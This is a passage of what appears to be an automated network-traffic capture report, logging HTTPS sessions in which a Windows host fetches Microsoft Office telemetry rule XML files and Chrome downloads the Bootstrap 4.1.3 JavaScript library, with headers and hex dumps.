2025-03-17 16:03:18 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 34 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 70 6c 69 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702401" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Compliance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.17	49738	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:18 UTC	199	OUT	GET /rules/rule702400v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:18 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAC69440" x-ms-request-id: e0cf3cc9-901e-008f-1551-9767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160318Z-186895dd8bdh8h7whC1EWRqw7s0000000780000000002n55 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 34 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6f 6d 70 6c 69 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6f 6d 70 6c 69 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702400" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Compliance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenCompliance" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.17	49739	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:18 UTC	199	OUT	GET /rules/rule701551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:18 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE998C79E" x-ms-request-id: 470b8f0a-601e-0050-3751-972c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160318Z-186895dd8bdpn7zfhC1EWR5w3w00000005a0000000007fbc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:18 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6c 69 63 6b 54 6f 52 75 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ClickToRun.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.17	49740	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:18 UTC	199	OUT	GET /rules/rule701550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:18 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:06 GMT ETag: "0x8DC582BED220670" x-ms-request-id: 4db712be-401e-0064-7251-9754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160318Z-186895dd8bdpn7zfhC1EWR5w3w000000055g00000000k3ka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:18 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 6c 69 63 6b 54 6f 52 75 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 6c 69 63 6b 54 6f 52 75 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.ClickToRun" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenClickToRun" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.17	49741	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:18 UTC	199	OUT	GET /rules/rule700301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-17 16:03:18 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:18 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB757F64" x-ms-request-id: 1e656722-b01e-001e-7551-970214000000 x-ms-version: 2018-03-28 x-azure-ref: 20250317T160318Z-186895dd8bdz6l5qhC1EWRwurn00000005kg0000000036de x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2025-03-17 16:03:18 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 43 68 61 72 74 69 6e 67 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 43 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Charting.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.17	49752	104.18.11.207	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-17 16:03:18 UTC	654	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-17 16:03:19 UTC	966	IN	HTTP/1.1 200 OK Date: Mon, 17 Mar 2025 16:03:18 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-ProxyVer: 1.07 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 12/15/2024 13:11:59 CDN-EdgeStorageId: 1232 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestTime: 0 CDN-RequestId: 2594ac6f0c887eb2b7bbc5b18049c76f CDN-Cache: HIT CF-Cache-Status: HIT Age: 932050 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 921db83b78c0cc98-EWR alt-svc: h3=":443"; ma=86400
2025-03-17 16:03:19 UTC	403	IN	Data Raw: 37 62 65 64 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bed/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 Data Ascii: fine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defi
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 Data Ascii: ,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 Data Ascii: andler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retur
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 Data Ascii: _._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]'
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 Data Ascii: t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryI
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 Data Ascii: his._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibilit
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 Data Ascii: =function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c Data Ascii: ement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,
2025-03-17 16:03:19 UTC	1369	IN	Data Raw: 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 66 Data Ascii: t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];if

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.17	49750	104.17.25.14	443	3020	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
